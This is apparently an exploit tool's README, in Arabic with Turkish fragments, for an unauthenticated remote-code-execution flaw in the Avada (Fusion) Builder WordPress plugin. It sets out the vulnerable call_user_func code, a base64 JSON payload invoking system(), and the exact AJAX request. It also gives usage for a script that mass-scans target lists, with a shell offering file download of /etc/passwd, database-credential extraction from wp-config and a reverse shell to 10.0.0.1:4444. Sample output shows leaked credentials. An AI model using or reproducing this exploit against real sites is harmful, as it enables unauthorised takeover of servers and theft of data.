
CVE-2026-6279: Avada (Fusion) Builder <= 3.15.2 – تنفيذ كود عن بُعد بدون مصادقة عبر حقن دالة PHP من خلال سمة 'render_logics' الخاصة بالـ Shortcode عبر معالج AJAX الخاص بالـ Widget (fusion-builder)
| الحقل | التفاصيل |
|---|---|
| CVE ID | CVE-2026-6279 |
| المتأثر | Avada Builder (Fusion Builder) <= 3.15.2 |
| القالب | قالب WordPress Avada |
| التثبيت النشط | 900.000+ |
| نوع الثغرة | حقن دالة PHP → RCE بدون مصادقة |
| CVSS v3.1 | 9.8 (حرج) |
| المتجه | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| المصادقة | ❌ غير مطلوبة |
| تفاعل المستخدم | ❌ غير مطلوب |
| الباحث | xxcoin |
| تاريخ النشر | 2026-05-24 |
┌─────────────────────────────────────────────────────────────────┐
│ │
│ 1. NONCE TESPİT │
│ wp_create_nonce('fusion_load_nonce') → UID 0 │
│ [fusion_post_cards] veya [fusion_table_of_contents] │
│ shortcode'u olan herkese açık sayfalarda JS'e eklenir │
│ │ │
│ ▼ │
│ 2. UNAUTHENTICATED AJAX │
│ wp_ajax_nopriv_fusion_get_widget_markup │
│ check_ajax_referer() → sadece nonce geçerliliği kontrol │
│ eder, kullanıcı kimliği doğrulanmaz │
│ │ │
│ ▼ │
│ 3. DESERİALİZASYON │
│ base64_decode(render_logics) → json_decode() │
│ Yapı doğrulaması yok — saldırgan kontrolündeki JSON │
│ │ │
│ ▼ │
│ 4. call_user_func() — ALLOWLIST YOK │
│ get_value() → wp_conditional_tags case │
│ call_user_func($value['function'], $value['args']) │
│ Herhangi bir PHP fonksiyonu çağrılabilir │
│ │ │
│ ▼ │
│ 5. RCE ✓ │
│ system("id") → uid=1000(xxcoin) │
│ Web sunucusu yetkisiyle tam komut yürütme │
│ │
└─────────────────────────────────────────────────────────────────┘
class-fusion-builder-conditional-render-helper.php — L1531:
// VULNERABLE CODE
case 'wp_conditional_tags':
$decoded = json_decode( base64_decode( $render_logics ), true );
// ❌ Allowlist kontrolü yok
return call_user_func( $decoded['function'], $decoded['args'] );
{
"type": "wp_conditional_tags",
"value": {
"function": "system",
"args": "id"
}
}
يتم ترميزها بـ Base64 وإرسالها كحقل POST باسم
render_logics.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
action=fusion_get_widget_markup
fusion_load_nonce=<nonce>
render_logics=<base64_payload>
widget_type=WP_Widget_Recent_Posts
type=WP_Widget_Recent_Posts
widget_id=2
number=2
ملاحظة:
call_user_func($fn, $arg)بطبيعته يقبل وسيطة واحدة فقط. الدوال التي تتطلب وسيطين أو أكثر مثلproc_openوpopenلا يمكن تشغيلها عبر هذه الثغرة.
1. Avada يُنشئ fusion_load_nonce للمستخدم UID 0 (مستخدم عام)
2. في الصفحات التي تحتوي على shortcode [fusion_post_cards] أو
[fusion_table_of_contents]، يُدرج nonce في مخرجات JS → يمكن لأي شخص رؤيته
3. check_ajax_referer('fusion_load_nonce') يتحقق فقط من صحة nonce
ولا يتحقق من هوية المستخدم
4. النتيجة: يمكن لأي زائر أخذ nonce واستدعاء الـ endpoint
pip install requests packaging
# وضع القائمة (مفرد + دفعة)
python3 CVE-2026-6279.py
# بدون بروتوكول (كشف تلقائي)
python3 CVE-2026-6279.py target.com
# مع بروتوكول
python3 CVE-2026-6279.py http://target.com
python3 CVE-2026-6279.py https://target.com
# مع منفذ
python3 CVE-2026-6279.py target.com:8080
python3 CVE-2026-6279.py http://target.com:8080
♡ [1] هدف واحد · شل تفاعلي
◆ [2] فحص دفعة · استغلال ملفات
✗ [3] خروج
shell> id # تنفيذ أمر
shell> cd /var/www/html # تغيير المسار
shell> upload local.php /tmp/x.php # رفع ملف
shell> download /etc/passwd # تنزيل ملف
shell> wp-config # معلومات قاعدة البيانات
shell> recon # فحص النظام
shell> revshell 10.0.0.1 4444 # شل عكسي
shell> exit # خروج
# صيغة targets.txt:
target1.com
http://target2.com
https://target3.com:8080
# سطر تعليق (يُتجاوز)
♡ ملف الأهداف [targets.txt]:
♡ عدد الخيوط [10]: 30
♡ الأمر [id]:
♡ ملف الإخراج [vuln.txt]:
╔══════════════════════════════════════════════════════════════╗
║ CVE-2026-6279 · Avada Builder <= 3.15.2 ║
║ Unauthenticated RCE via call_user_func() ║
║ Copyright © 2026 xxcoin · Thanks: xxcoin 💜 ║
╚══════════════════════════════════════════════════════════════╝
★ Avada tespit edildi! (http://localhost:8888)
★ nonce: b6d7b084c2 (src: /blog/) [shortcode✓]
★ AJAX: http://localhost:8888/wp-admin/admin-ajax.php
★ RCE: system() [B] [WP_Widget_Recent_Posts]
• uid=1000(xxcoin) gid=1000(xxcoin) groups=1000
shell> uname -a
• Linux debian 6.1.0-21-amd64 #1 SMP x86_64 GNU/Linux
shell> wp-config
• DB_NAME=wordpress
• DB_USER=wp_user
• DB_PASSWORD=s3cr3t_p4ss!
• DB_HOST=localhost
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
هذه الأداة مخصصة فقط لاختبارات الأمان المصرح بها والأغراض التعليمية. الوصول غير المصرح به إلى الأنظمة غير قانوني. كل المسؤولية تقع على عاتق المستخدم.
telegram. https://t.me/+-GYq8ydL9AYwZGI8)
CVE-2026-6279 · Avada Builder <= 3.15.2 · xxcoin · 2026
Special Thanks: Shadow Girlfriend 💜
| الدالة | الوسيطة | النتيجة | الحالة |
|---|
system() | id | uid=1000(xenon1337) | ✅ ناجح |
passthru() | id | uid=1000(xenon1337) | ✅ ناجح |
shell_exec() | id | uid=1000(xenon1337) | ✅ ناجح |
exec() | id | uid=1000(xenon1337) | ✅ ناجح |
file_get_contents() | /etc/passwd | root:x:0:0:... | ✅ ناجح |
proc_open() | — | — | ❌ يتطلب وسيطين أو أكثر |
popen() | — | — | ❌ يتطلب وسيطين أو أكثر |
| الملف | السطر | الدالة | الوصف |
|---|
class-fusion-builder-conditional-render-helper.php | L1083 | should_render() | إلغاء تسلسل render_logics |
class-fusion-builder-conditional-render-helper.php | L1531 | get_value() | ⚠️ call_user_func() — لا توجد قائمة سماح |
fusion-widget.php | L44 | — | اتصال render_logics |
fusion-widget.php | L389 | — | تسجيل معالج AJAX wp_ajax_nopriv |
class-fusion-builder.php | L7551 | — | تسجيل nonce حتمي للمستخدم UID 0 |
| المقياس | القيمة |
|---|
| متجه الهجوم | شبكة |
| تعقيد الهجوم | منخفض |
| الامتيازات المطلوبة | لا شيء |
| تفاعل المستخدم | لا شيء |
| النطاق | غير متغير |
| السرية | عالية |
| التكامل | عالية |
| التوفر | عالية |
| النتيجة الإجمالية | 9.8 — حرج |